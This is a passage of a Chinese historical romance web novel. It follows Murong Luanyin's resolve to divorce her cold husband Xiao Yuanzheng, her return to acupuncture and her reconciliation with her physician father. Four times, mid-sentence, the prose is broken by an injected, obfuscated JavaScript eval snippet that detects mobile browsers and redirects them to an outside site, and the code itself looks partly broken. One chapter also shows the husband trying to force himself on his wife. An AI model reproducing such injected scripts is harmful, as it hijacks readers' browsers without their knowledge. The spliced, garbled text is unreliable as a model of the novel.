当即扯下裙边香囊,倒出一把山茶香球,“萧远峥,你不喜欢香,我喜欢,你不喜甜食,我喜欢。你可以听从祖父之命娶不喜欢的人,可以因为萧氏族规宁愿和不喜欢的人过一生都不愿意和离,但我不可以,我慕容鸾音此生只嫁两情相悦之人。我郑重通知你,我要和离!” 话落,鼓起勇气,照着他那张令她痴心爱过的脸猛地砸了过去。 龙眼大的香球,足有十来个,扔他脸上时天女撒花似的迸溅开,砸的他下意识的闭上眼,额角青筋微凸。 “你到底在胡闹什么?!” “你想打我吗,你打!”慕容鸾音知道自己真的惹怒了他,虽有惧意,但心意已决,惹怒他,正是她此行的目的,她要带着一点“证据”回娘家去,以此为引线,大闹一场,决绝和离,不留退路! 就在这时,一个穿着灰绿色龟背纹圆领袍,微微驼背的高大老人快步走了进来,“不能打,可不能打。” 慕容鸾音转身看见是他,连忙上前去搀扶,红着眼睛赶忙问道:“黑伯,你怎么回来了,舅外祖泡了温泉,膝盖可消肿,能行走了吗?” 黑伯的目光在萧远峥和慕容鸾音脸上转了一圈,叹气道:“回世子夫人,老公爷的身子越发不好了。” 慕容鸾音一听就落下泪来,焦急道:“这可如何是好?” 一边说一边就想往外走,就想着立马去看望。 黑伯连忙拦下来,笑道:“莫急莫急,您听老奴说完,老公爷的腿泡了温泉之后消肿了,身上虽大好了,但心上不好,总是叹气,嘴上嘀咕着,他都是快死的人了,世子爷和您何时能让他抱上重孙子呀。” 慕容鸾音蓦的咬住下唇,哽咽道:“却是不能了。” 萧远峥把掉在墨汁里的香球捡出来扔进一旁的冰裂纹影青水洗里,粘在香球上的墨汁入水顷刻间泅染开,香球洗净了,他转脸注视着黑伯,眸光幽冷。 黑伯袖手躬身,慈和的看着慕容鸾音,笑道:“音丫头,老公爷让老奴告诉你,府里的事儿他都知道了,他让你呀勿烦忧,勿凄惶,三年无子不是你的错处,婚后月余你祖母就去世了,你为祖母守孝二十七个月,除掉这二十七个月,满打满算你们小夫妻圆房也不过是前几个月的事儿,老公爷还说,世子爷错待你的事儿,他也知道了,黑伯我呀就是专为此事回来的。” 慕容鸾音的脸霎时涨红又转白,他、他初一十五才去她房里的事情都传到郊外舅外祖耳中了?那满府里是不是都知道了她与萧远峥的闺房之事? “世子爷,老公爷让老奴问您一句话,你父亲死的时候还留下了您与嵘三爷两个骨血,他呕心沥血好不容易把你这个嫡长孙培养成了能支撑门楣的,若你忽然死了呢,会如何,家族倾覆之祸就在眼前,老公爷要您自己看着办,他一个快死的人不操心了。” 萧远峥起身走到慕容鸾音身畔,当着黑伯的面抓起她的手握紧,淡淡道:“请黑伯回去后替我回复祖父,一年内必让他老人家抱上嫡重孙。” 黑伯满意的点点头,躬身行礼,“如此,老奴即刻回返,如实回禀老公爷。” “黑伯别走,我和你一起去悬天观。”慕容鸾音甩了两下没甩开萧远峥,气道:“你放开!” 那边厢黑伯已经笑眯眯的迈出了门槛,越走越远。 萧远峥这才松开手,兀自回到大书案前,拿起卷宗翻阅。 慕容鸾音深吸一口气,力持冷静,“萧远峥,我会亲自前往悬天观,亲口和舅外祖说明白,是我想与你和离,往后你不必再委屈做戏了。” 话落转身就想走,萧远峥清淡道:“你想趁着他病重一鼓作气气死他,你就去。观棋进来,送世子夫人出去。” “不必,我自己能闯进来就能出去!” 慕容鸾音甩袖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344501|152632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而出,疾步踏上乌木廊道才慢下来。她知道萧远峥说的是对的,舅外祖不仅年纪大了,还病体沉疴,倘若她执意闹大和离,舅外祖受得住吗?她不敢赌。 何况,梦境里舅外祖就是喝了自己亲手熬煮的莲子羹才毒发身亡的,自己也算间接害死了舅外租,她不能在有梦境预示的情况下,重蹈覆辙,再做一回间接的凶手了。 就在这时右前方竹丛里传出窸窸窣窣的声音,慕容鸾音寻声望去,便见一颗狸花猫的猫头钻了出来,眨着蓝汪汪的眼睛左顾右盼,十分可爱。 慕容鸾音耐不住想去抱它,它受惊似的后撤,转身往竹丛深处跑去。 慕容鸾音拨开竹子追了两步,一脚踩在硬物上发出“咔嚓”断裂声,低头一瞧见是一根骨头眼眸立时微睁,再细细一瞧附近,杂草掩映下,骨头到处都是,还有的被竹根压进了地下。 她忽觉有异,那应该不是狸花猫,而是幼虎。 目光睃巡一圈后,更是发现了一个小山堆,被葎草覆盖,静园有虎,她知道此时自己应该即刻后退,离开此处,但这片竹林她也是熟悉的,竹林后面就是墙,她还记得那面墙下有狗洞,她曾揣着元宝糕、菱粉糕、莲花饼通过狗洞爬进来,到第四回,她揣着自己最喜欢的玉露团爬到一半就被狠狠骂了回去,此后狗洞就被堵住了。 原来啊,是她自己蠢笨,带来的都是自己喜欢的,却是他不喜欢的。也许,因为从狗洞里爬进来的不是他期望的那一个,于是只有厌烦。 她想她知道那“小山堆”是什么了。 慕容鸾音走过去,扯开一片葎草,果见獠牙。这是老虎头骨堆砌出来的,人头堆出来的叫京观,虎头堆出来的难不成叫虎观? 想到此处,她不禁一笑,泪却情不由己的落了下来。 她知道,舅外祖是用训练死士的方式锻造他,她见过他与饥饿之虎搏杀,却不知,是这样多,他一路走来,该多难多痛啊。 就在此时,慕容鸾音身后有草木倒伏的异状,六只猎豹那般大的幼虎伏下身体,匍匐行进,将她包围,准备狩猎。 “回去!” 慕容鸾音一霎僵住。 潜藏在草丛里的六只虎像是被天雷击中,狩猎的动作一齐凝结了一瞬,随即逃命似的跑开了。 慕容鸾音缓缓转身,垂下头遮掩泪痕,“不用你撵,我会走的,在走之前,我想和你说清楚。我不会遵从舅外祖的意思和你生孩子,我只恨自己醒悟的太晚了,我知道了,你厌恶我,所有连我的声音、气味都是难以忍受的,所以,我们不若假扮一对有名无实的夫妻,以一年为期,在这一年里我会逐渐让舅外祖接受我们不合适,强硬绑在一起只会成为怨偶,对谁都没有好处。一年后,我们和离。” 萧远峥背手握拳,眉目冷冽如霜,“我说过,既已成婚,你生是萧家人,死……” 慕容鸾音忽的嘶声打断,抬眸时,豆大的泪珠滚滚而落,“峥哥哥,我想放过我自己了,也请你放过自己,可好?” “你……” 就在这时赵荆疾步而来,站在廊道上高声禀报,“家主,大理寺狱狱正来报,有人给范成德投毒被当场抓获,请您速去。” 慕容鸾音一听连忙提裙离去。 萧远峥握紧的拳头陡然松开,“备马。” “是。” 8. 第008章 怎么是你! 慕容鸾音从爬山廊上下来,便见一对夫妻朝她走了过来,那妻子琼姿花貌,清丽如莲,那丈夫英俊潇洒,温润如玉,二人携手同行,凤协鸾和,羡煞旁人,正是龙姽婳萧远嵘夫妻。 龙姽婳先看见了慕容鸾音,但见她虽像是哭过的样子,胳膊腿都还在,衫裙上也没有血迹,脚步一顿,扯着萧远嵘的袖子转头就走。 慕容鸾音心念一动,涌上一股暖流来,快步上前就笑道:“龙姐姐,龙姐姐是听说了我在福寿堂和老夫人的交锋,怕我勇闯静园被老虎吃了,是不是?” 龙姽婳当即冷笑道:“自作多情。我是准备将一条爬山廊入画,府内唯有静园前面这条爬山廊最是巧夺天工,故此来瞧,与你何干。” 萧远嵘连忙笑道:“大嫂,婳儿正是担心你,故此一得知了消息就催着我赶紧过来说情,大嫂安然无恙否?” 慕容鸾音笑道:“无恙,多谢你们挂心。” 龙姽婳瞥见慕容鸾音脸上舒然的笑意,微微一愣,再开口时冷意散去许多,“真是太阳打西边出来了,今日没瞧见苦瓜脸。” 慕容鸾音笑着去拉她的手,“龙姐姐,我专为你研制的冷梅香可用完了?今儿一早我就让丫头把我制香的工具都找了出来,龙姐姐,我又开始制香了,你还想要我给你制香吗?” “你……”龙姽婳定定望着慕容鸾音脸上灿烂的笑,仿佛以前那个真心爱笑的阿音妹妹又回来了,“总共六枚梅花式样的香,三年了,如何用不完,难不成你的香会下崽?” 慕容鸾音顿时哈哈笑起来。 龙姽婳长叹一声,回握住了她的手。 慕容鸾音笑过后,缓缓红了眼圈,“我早猜着了,龙姐姐是因为这个生我的气。” 龙姽婳一指头点在慕容鸾音眉心,“我恨你为了个男人就放弃自己的喜好,你无论制香还是医术,有那般的天赋,却为了男人而荒废,我每每想起都气的不行。我郑重问你,是因为洛淑仪归来你畏惧了被迫醒悟,还是从心里真正开悟了?” 慕容鸾音抹去眼泪就笑道:“从始至终都与洛淑仪无关,我只为我的心,心向他时,无畏追逐,仅此而已。从此以后,我这心只向着自己。” 龙姽婳斜睨萧远嵘一眼,又看着慕容鸾音道:“我是不解你为何会追逐一个男人,我自幼的志向是画技一道超越我的祖父,我追逐的是画道,矢志不渝,至死不悔。情情爱爱,不过点缀。” 慕容鸾音怕萧远嵘生气,连忙看向他,谁知他望着龙姽婳的双眼里唯有倾慕。 这时二夫人文氏身边的彩蝶疾步而来,“世子夫人原来在这里,让我好找。” “罢了,我应了安王妃给她画一副琉璃观音,这就回去了。既然你又开始制香了,我迫不及待想要你的香,还要冷梅香,偏要梅花式样。” 慕容鸾音轻笑出声,“好,我记着了,恕我不远送了。” 慕容鸾音目送他们夫妻踏上九曲桥,这才收回目光看向彩蝶,“何事?” 彩蝶道:“二夫人让问,今年中秋节礼是要拖到过年去?” 慕容鸾音一面往瑞雪堂走一面发笑,“你替我给二夫人带两句话,第一句:到底是要送中秋节礼呢,还是二夫人的亲戚里头有谁生不出孩子,怎么递给我的礼单里头有白玉送子观音;第二句,老夫人批驳下‘太过奢靡,重拟’时,她就在场,特特又来问一遍,是想让谁偷着补上,是让我吗?还是国子监祭酒家出来的呢,家世是挺光鲜的,怎么做起事情来就占便宜没够了,让我哪只眼睛看得上。” 彩蝶顿时羞窘住,张口结舌没能说出一句话来,以袖遮面,一溜烟跑了。 到了瑞雪堂,慕容鸾音在榻上坐定就对碧荷道:“三房若也打发人来明知故催,就用我方才说的话改改回复,其他管事娘子若来烦扰,就让她们去翻二夫人管家时的旧例。” “是。” 慕容鸾音定定神,望着摆在堂上的两只箱子,一只是折枝山茶花纹螺钿红木箱,里头放的是她制香的工具,一只是雕刻着药兽的铜提手大板箱。 慕容鸾音让丫头们把两只箱子抬到东次间炕床上,她也跟过去,先摸了摸山茶花纹,后又摸向药兽,这药兽是她慕容氏从祖上传下来的花纹,家里祠堂至今供奉着一只用墨玉雕刻而成的兽像,幼时被爹爹抱在膝头讲祖上行医的故事,爹爹说起过,这药兽应该就是《说郛》一书中提到过的那只传说中的神兽,可以通过听人讲述病症而找到对症的草药。 她一直觉得,祖上传下来的这个故事是真的,她慕容氏世代行医,说不定就是药兽选定的继道人,并以此为傲。 她是从什么时候开始觉得,行医为贱业的呢?是长到十来岁,开始随着祖母出入皇亲国戚举办的那些宴会的时候。 她看着那些名门闺秀们,学的是琴棋书画,吟诗作赋,插花品茶,如斯高贵雅致,而她学的是伺候人的医术,就在不知不觉间自卑了。 她也曾是个慕荣华的小姑娘。 “呵。”慕容鸾音自嘲一笑,拿出金针布包,想着梦境里,自己破败不堪,而金针闪亮如新,就真想狠狠唾骂自己一顿。 究竟什么才能历久弥坚?不是她追逐的情爱,而是像龙姐姐那样,有自己至死不悔的志向。 碧荷打发了过来回事的管家娘子们,捧了一盏茶回来,就见慕容鸾音坐在炕上,脱了鞋袜,捏起一根金针就要往自己足背上扎去,登时吓的瞠目,急忙呼喊阻止,“姑娘不可!” 说时迟那时快,慕容鸾音不过使用巧劲轻轻飞针,正正好就扎在了太冲穴上。 “碧荷姐姐你瞧,我自幼所习这一手飞针之术还扎实着呢。” 碧荷轻吐一口气,无奈道:“我的祖宗,三年没动过金针了,怎么就这般莽撞,扎坏了是好玩的嘛。” 慕容鸾音笑道:“别人启蒙练字用的是寻常毛笔,我练字用的却是铁笔,起先是空管铁笔,后来我渐渐大了,用的是灌铅的铁笔,所为何来,当然是为了锻炼腕力,三年,我忘了许多药学知识,但这一手飞针之术,我吃尽了苦头得来的,早已刻在腕间骨头上了。” 说着话, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344502|152632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又在脚上扎了两针。 “我还记得呢,扎此三穴有疏肝解郁的功效。” 碧荷打从八岁起被清河县主挑给慕容鸾音为婢,耳濡目染之下也略懂一点医术,想到什么立马道:“姑娘,在脚上扎两针就罢了,扎坏了大不了就是不能动弹,可不能往攸关生死的穴位上扎,奴婢可是记得,胸口上也有疏肝解郁的穴位。” 慕容鸾音悄悄放下解腰间鸾绦的手,笑眯眯点头。 “对了,咱们的中秋节礼置办齐整了,你再去清点一遍,咱们明儿回家。” 碧荷应“是”,两手捧着茶送到慕容鸾音嘴边,慕容鸾音张嘴喝完就低头认真看穴位图。 碧荷笑道:“姑娘这样,倒是让奴婢想起您小时候来,家里老爷虽疼爱您,但在教授医术上从来都是十分严厉不容情,您课业繁重,又要强不服输,为了胜过老爷的那些弟子们,顾不上吃顾不上喝,奴婢也是这样把茶水、糕点喂到您嘴边,您才吃上一口。” 慕容鸾音“嗯嗯”回应着,眼睛仍旧在图纸上。 碧荷见状,感慨万分,轻手轻脚出去了,少顷,捧了博山香炉来摆在窗台上,任凭从窗缝穿进来的微风,把烟雾吹的若隐若现。 闻香读书,不觉间时光流逝,到了午后。 茯苓轻步走来,见慕容鸾音舒展腰身,这才上前道:“姑娘,午食前,静园搬出了一张理石面大书案,去大库房换了一张黄檀木水波纹大画案。” 慕容鸾音一顿,心想,他怕是嫌恶那张理石面大书案沾染了山茶香球的气味,故此才要换掉,说不得她一离开,他就立马让观棋开窗通风了呢。 “我说怎么福寿堂没来人找茬,定然也是听说了替换大书案的事情,知道我被世子爷嫌恶了,她们心里得意了,这才‘饶’我一回。”慕容鸾音讥嘲一笑,“那我就让她们更得意一些,茯苓,你把对牌、账簿、钥匙打总收拾到一个箱子里,给福寿堂送去,就说我羞于见人,恳请她老人家寻个帮手代管家事,我要躲羞。” 茯苓不解问道:“姑娘因何如此自贬?” “为了把手里的烫手山芋扔出去,早不想干了,吃力不讨好,我还往里面倒贴。” 此时,冬青冬葵抬了一桌午食送来,茯苓领命自去,碧荷在旁服侍着慕容鸾音用饭。 饭后,慕容鸾音躺下小憩,饱饱的睡了一觉。 醒来时,暮色四合,用了些晚食又接着翻阅医书。 碧荷知道慕容鸾音的脾性,劝她为了眼睛白日里再看是无用的,只能多搬两盏落地灯进来,把东次间照的亮亮的。 至三更天,慕容鸾音自觉复习的差不多了,就假称安寝,把丫头们都打发去睡觉,拿两盏琉璃莲花灯放在床头柜上,自己躲在帐内,解了鸾绦腰带,扯下天水碧色抹胸,捏着金针往胸前期门穴上扎去。 就在这时,一只骨节分明的大手拨开了帘帐。 慕容鸾音心虚抬头,扬起脸来就撒娇笑,“碧荷姐姐我……” 倏忽,脸色顿变。 “怎么是你?!” 9. 第009章 小疯狗 山水墨色纱帐内,灯火明亮,照见一张娇媚艳丽,灿若玫瑰的小脸,彼时这张小脸上带着撒娇的乖笑,却在认出是他时,陡然收起,恍若错觉。 萧远峥一把握住慕容鸾音捏着金针的手腕,眉眼冷厉,“解释!” 慕容鸾音低头瞥向自己敞开的胭脂红色薄衫,垂敞半开,露了一只在外头,顿时羞愤交加,“你先撒手!” 萧远峥垂眸微瞥,便见玉雪团上红缨颗,眸光不躲不避定在那里片刻才松开手。 慕容鸾音心里想到,也许在他看来,她的身子和他验看过的女尸没有任何区别,她恨他的无动于衷,她才不是女尸,她是活色生香的美人,大美人,不识货的狗东西! “我凭什么给你解释,或许你早就忘了,我慕容鸾音自幼学医,针灸之术,在我爹的那些学徒里面是第一!”慕容鸾音将金针放回,系上衣带,挺胸抬头瞪着他,“还让我给你解释,我是该早早就让你知道,你那一家子人个个都不是省油的灯,我和她们打交道打的肝淤气堵,为防英年早逝,我可不得自己给自己扎上两针以自救!” 萧远峥把她挺胸时那一霎的娇颤收入眼底,眸光幽暗下来,转头看向床尾,不见月牙凭几,剑眉顿蹙。 “你瞅什么,找那该死的凭几?我劈了当柴烧了。”慕容鸾音猛地一推他没推动,顿时气道:“收起你那阴暗报复我的心思吧,我识破了,你休想再用那种我无法宣之于口的方式羞辱我,我和你约定一年为期,做有名无实的夫妻,给你脸了是吗?!” 慕容鸾音抬手指向帘外,“滚!” 萧远峥在床沿坐实,脱下粉底皂靴,不怒反笑,“我同意了吗?” 慕容鸾音愕然,使劲推他后背,“我管你呢,别坐我的床!” 萧远峥蓦的转身,慕容鸾音一下子推空落他怀里,紧接着两只手被他一只大手紧紧攥住。 “既然已经被你识破了,我何必再装。”萧远峥低头,二人之间鼻息相闻,“婚姻为契约,自结成之日起,你是我妻,我之子嗣自该从你腹中而来,方为我萧氏正嫡。” 话落,单手解开慕容鸾音的薄衫系带,又迫其跪伏在绣被上,他又似往常那般去捂她的嘴。 慕容鸾音气坏了,两手抓紧他的手就狠狠咬住。 萧远峥“嘶”地一声倒吸冷气,剑眉蹙起,星眸幽暗如陷深渊。 他搂在她腰肢上的手臂陡然收紧,慕容鸾音险些岔气,仍旧狠狠咬着直至牙齿酸软,力竭后才松口,趁他松卸力道之时,一骨碌爬到床尾,跪直身子,叉起腰,畅快吐气,“萧远峥,我爱你时,忍你顺你,我不爱你时,你休想欺负我一点,你瞧瞧,见血了吧。” 萧远峥看着自己左手虎口处那一圈见血见肉的牙印,低声发笑。 慕容鸾音被他笑的浑身发毛,警惕的捞起被子把自己捂的严严实实。 “小疯狗。” 慕容鸾音得意的笑起来,“记得我第一回来你们府上做客,在花园遇见你,你就手贱捏我的脸,把我捏疼了,我就是这么咬你的,你就是这么骂我的,今番我就是让你记起,惹急了我,我就咬死你!” 慕容鸾音盘腿坐正,收起笑,冷下脸,“言归正传,你想要萧氏正嫡,只有一种可能,与我和离后再娶正妻,随便你和旁人生几个与我无关,我是绝无可能再成为你生子的工具。” 萧远峥垂眸,把自己的指甲当做小刀使,刺入慕容鸾音咬下的齿痕,切割一圈,鲜血横流,滴滴滚落锦褥,再抬眸时,露出阴鸷神色,“知道你祖母是怎么为你争得我的正妻之位的吗?知道你祖母为何将慕容氏名下遍布大魏朝的福缘药铺一分为二,拿了一半给你做嫁妆吗?若是不知,那就回娘家问过你父兄。” 话落,穿上粉底皂靴,扬长而去。 慕容鸾音望着锦褥上的血滴,一头栽倒在绣被里,他、他怎么是这样的…… 难道祖母真的做了什么? 慕容鸾音想着想着就睡了过去。 翌日清晨,慕容鸾音望着镜子里脸蛋红扑扑的自己,欢喜至极,果然好睡眠才有好气色。许是扎的那几针生效了,又或许是不再憋着忍着,冲着萧远峥发泄了一通,肝经通畅了,这才有了好眠。 “姑娘,今日想梳什么发式,想戴哪一套头面?” “多鬟髻,佩戴粉晶桃花那一套。” 碧荷含笑梳头,又吩咐冬葵去把绣了折枝桃子花纹的粉缎滚边大袖衫找出来。 这时窗外传来冬青的怒喝声。 “秋雁,你鬼鬼祟祟的作甚!” 正带着小丫头更换床帐被褥的茯苓一听,放下枕套就往外走去。 外头,冬青堵在台阶上不许秋雁上来,秋雁气道:“我也是瑞雪堂的大丫头,你凭什么堵在这里不许我进去服侍,快让开,世子夫人还等着我梳头呢。” “何敢惊动您老人家亲自过来给我们姑娘梳头。”茯苓一出声,冬青自动让出位置来,“茯苓姐,你来的正好,快狠狠骂这个白眼狼一顿,她若急眼敢动手,有我呢,我一拳头就把她鼻子打出血来。” 茯苓居高临下看着秋雁,冷笑道:“你不回来,我还给你留着脸,但你竟敢又回来,打量我们不知你是绛仙阁于三年前故意留给我们瑞雪堂的细作?” 秋雁又慌又急,连忙解释道:“这是怎么话说的,我不过家里有事出去了两日,怎么就诬陷我是细作了?” “若不是细作,那就更可恶了。说什么回家去了,分明是跑到绛仙阁烧热灶去了,蕊儿都瞧见了,你跟在繁霜墨痕屁股后头装哈巴狗。那你就是墙头草,白眼狼,我们瑞雪堂容不下你这样的人!” “旧主回来,我难道装看不见吗?”秋雁眼神慌乱,高声呼唤慕容鸾音给她做主。 慕容鸾音穿戴好后从屋内走出,看一眼秋雁就道:“我记得,洛表姐出嫁时挑选陪嫁丫头,你得了急 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344503|152632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 症被家人接了出去,后来洛表姐出了门,你就又好了,但绛仙阁被老夫人做主上了锁,你的差事就没了,你老子娘嫌你是个吃闲饭的,就想把你嫁给宋嬷嬷的大儿子做妾,你抵死不从,是冬青帮了你,把你引到我面前。” 冬青气的挥拳,“我就不该帮她。” 茯苓讥笑道:“人心隔肚皮,你也不知道哪个是能养熟的,哪个是养不熟的。” 慕容鸾音抬手一压,茯苓冬青都立时垂手恭听。 “你见了我,你就说自己会梳头,给洛表姐梳过头,我就把你留下了,把你从二等丫头升为一等丫头,你在瑞雪堂这三年,我对你没说过一句重话,年节赏赐,有碧荷茯苓她们的就有你的。”慕容鸾音长叹一声,望向庭前枝叶茂盛的山茶花树,“秋雁,我因走了岔路,才留下了你,现如今我重回正路了,也希望你审视自身,切勿脚踩两条船。” 秋雁涨红脸,吱吱呜呜说不出话来。 “我这会儿要回娘家去,希望我回来时,你已经把铺盖收拾干净了,你在瑞雪堂这三年所得的衣物赏赐尽可以都带走。” 碧荷先让茯苓冬青簇拥着慕容鸾音出门,她则落后一步,对秋雁道:“身为奴婢,一心认二主是大忌,我们姑娘心善,旁人却未必。我若是你,就会拿上财物及时抽身远离。” 碧荷说完就提起裙子追赶慕容鸾音去了。 秋雁略有动容,心中怅然若失,可是一想到绛仙阁的的确确是府里的大热灶,就不觉得自己有错,给谁做奴婢不是做。 彼时,慕容鸾音已登上了停在侧门的朱盖璎珞车,碧荷跨过门槛,到了车前,却见花草房的周大娘正站在车窗下哭。 车内,茯苓挑着帘子,慕容鸾音靠在窗边细听。 “找了好几个郎中都没看好,到今日水米都喂不进去了,奴婢实在没法子了,这才求到您头上。”周大娘哑着声音道:“打听着您慕容家祖上是出过神医的,慕容老爷现如今也是宫里极得重用的太医,医术定然远超寻常郎中,求您发发善心,把我们娘俩一同带去吧。” 说完话就“噗通”一声跪下了。 “那日早晨你到我院里挖山茶花,我见你脸上还是有肉的,这才两三日不见,你两颊处竟凹陷下去了,瘦的这个样,可见你一片慈母之心不假。”慕容鸾音想了想,道:“到后面找一辆车坐上去吧,我带你们母子回去见我爹。” 周大娘慌忙爬起来,淌着泪往拐角处跑回去,“当家的,你快背着铁蛋过来,世子夫人答应了,咱们铁蛋有救了。” 碧荷一听连忙登车,凑到慕容鸾音身边提醒道:“姑娘,周大娘的小儿子还不知是什么病,若到了病入膏肓的地步,老爷也是治不好的,奴婢怕周大娘抱持的希望太大,到时失望更大,会衍生恨意。” 慕容鸾音连连点头,“碧荷姐姐你顾虑的是,还劳烦姐姐替我分说。” 碧荷叹气,无奈点头,“是。” 10. 第010章 吾家乖宝 马车辘辘前行,缝缀在车衣上的珠子璎珞摇摇晃晃,朝阳高升,荡出宝光掠影。 “先不回家,去医士学馆,爹爹一定在那里。” 慕容鸾音之所以那么快就答应带周大娘母子回娘家,就是想着,以此为借口向爹爹认错。 她以前不理解,为何爹爹会因为她放弃继承家族医学,选择出嫁就对她生那么大的气,气到自从她嫁人后就对她避而不见,听而不闻。 直到,在梦境中,自己亲生的长子,挑着别人婚嫁的红灯笼,用嫌恶的眼神看着她,并希望别人做他娘的时候,她才真正明白那种呕血般的心痛。 就好比,自己千辛万苦种植的仙桃,终于成熟了,却被别人摘了去。 而她,就是爹爹寄予厚望,用尽心血培养的那棵仙桃。她这“仙桃”更过分,没被旁人摘去,是她自己心甘情愿跳进别人盘子里去的。 她若是爹爹,怕是还不如爹爹,宁愿抢回来摔烂也不便宜旁人。 医士学馆是太医院辖下,专用来培养一级医士的地方,慕容文博擅长小方脉和针灸术,若宫内无诏,就会呆在学馆中奉命教授徒弟。 “姑娘,到了。”碧荷轻轻将慕容鸾音紧扣在一起的手扯开,安抚道:“奴婢知道姑娘要做什么,老爷若是也知道姑娘重新拿起了金针,只有高兴的。” 慕容鸾音深吸一口气,提裙下车。 彼时,医士学馆院内晒满了草药,有的学徒在用碾子把药材碾成粉末,有的在给黄芪切片,有的蹲在地上,正用捣药杵“咚咚咚”的捣弄,还有的守着一锅黑乎乎粘稠的东西正在手搓药丸子。 堂上坐满了正在听课的一级医士,慕容鸾音提起裙子,拾阶而上,往门内一瞧就瞪圆了杏眼。 只见讲学台上站着一个陌生的男子正搂着一具白骨架子,给医士们讲解骨头的构造。 那人看起来和她差不多年岁,用彩绳扎了满头小辫子,辫子上绑了小巧精致的金铃铛,高鼻深目,肤色白皙,浓颜丽色不输女子,但其宽肩窄腰,身材颀长,眼神坚定清亮,一眼看去就知是个男儿郎,绝不会让人误认。 想必是新来的医博士。 慕容鸾音不过因他那异域的打扮多看了两眼,待得茯苓问了相熟的学徒爹爹在何处,就往后院去了。 慕容文博在这里有自己歇宿的屋子,每当慕容鸾音回娘家,他就躲到这里来。 彼时,后院一棵枣树下,一个有羊角胡的中年人正躺在摇椅上晒太阳,旁边放着一张小酒桌,桌上横躺着一个空了的酒葫芦。 只见他穿着一件莲子白氅衣,前襟上用墨色丝线绣着慕容家独有的药兽花纹。 慕容鸾音不知怎的,看见爹爹就委屈的鼻头发酸,怎么忍都忍不住,一串一串的眼泪往下掉。 慕容文博眼睛微睁又闭上,翻过身去背对慕容鸾音。 慕容鸾音掏出金针布包,捏起细毫针,哭着道:“看来爹爹醉酒了,爹爹教过,醉酒不醒就扎耳垂上的耳环穴。” 一边哭着说话,一边靠近慕容文博去揪他耳朵。 慕容文博蓦的睁开眼又闭上,浑身紧绷起来。 慕容鸾音用大拇指和食指捏着毫针,以巧劲飞刺,正中耳环穴。 随即,慕容鸾音后退两步,跪在地上就道:“爹爹我知道你醒着的,我虽荒废三年,但针灸之术刻骨铭心,爹爹你刚才就是故意考验我的,是不是?爹爹我错了,我想和离归家,继续未完成的学业,爹爹,你和我说句话吧,你三年没和女儿说话了,女儿心痛死了。” 慕容文博一下子坐起来,“他欺负你了?!” 慕容鸾音膝行向前,一把抱住他的腰就嚎啕大哭。 “他欺负我了,爹爹,他欺负我。” 慕容文博一下气红双眼,“我早说过,你爹我就是个八品医官,你被你祖母忽悠着高高嫁进国公府,在那里头受了欺负,我也没法儿给你讨公道去。” 慕容鸾音哭完一通,只觉心上都轻了二两,接过碧荷递来的锦帕一边擦眼泪一边道:“爹爹都被你说着了,和那些高门深院里的人打交道真比您让我背一整本医书还累。” “我早和你说过,那里头的人心眼子一个比一个多,你呢,你是我们捧着长大的,除了天赋好,那真是又娇又憨,当初你祖母头回让你学管家,两个小丫头因争抢一朵你不要的珠花打架打到你面前,你怎么做的,你直接又给了一朵,让她们一人一个,你就仗着手里从没短过银子,能用银子解决的事情,你从不动心眼子。你这样的性子,我早看透了!” 慕容鸾音羞愧的抬不起头来,她的确是这样的,要不然也不会把压箱底嫁妆银子赔出去一大半。 “爹爹,我也长进了很多,真的。” 慕容文博把毫针从耳垂上拔下来,“收好。方才我都想好了,倘若你一针不中,从此咱们父女也不必再见了。” “爹爹忒狠心。”慕容鸾音站起来,擦干净眼泪就急忙道:“爹爹,我在那府里的事先不提。我带了一个急症病人过来,他娘说,至今日水米都喂不进去了,您给瞧瞧。” 慕容鸾音看向碧荷,碧荷连忙对躲在穿堂里的周大娘他们一家三口招手,“快来。” 慕容文博站起身,让周大娘的丈夫周顺把背上的男孩放到摇椅上。 只见这男孩十一二岁,眼皮耷拉着半睁半闭,神情呆滞,浑身细微的颤抖,脸上身上汗水不断,呼吸紊乱而急促。 慕容文博拿起铁蛋的右手诊脉,示意慕容鸾音诊左手脉搏。 少顷,慕容文博看向慕容鸾音。 慕容鸾音沉下心观察铁蛋,然后才道:“他的心跳快而虚浮,像是惊惧未平,积存于心,爹爹,我断定他是惊惧失魂之症,要治此症,还需找到惊惧之源。” 慕容文博满意抚须,“望闻问切,‘问’过了吗,先问过家属再断定不迟,医者最忌轻言断定。” “是,爹爹。” 周大娘握拳跺脚,蓦的睁大眼睛,欣喜的道:“正是、正是,铁蛋这病就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 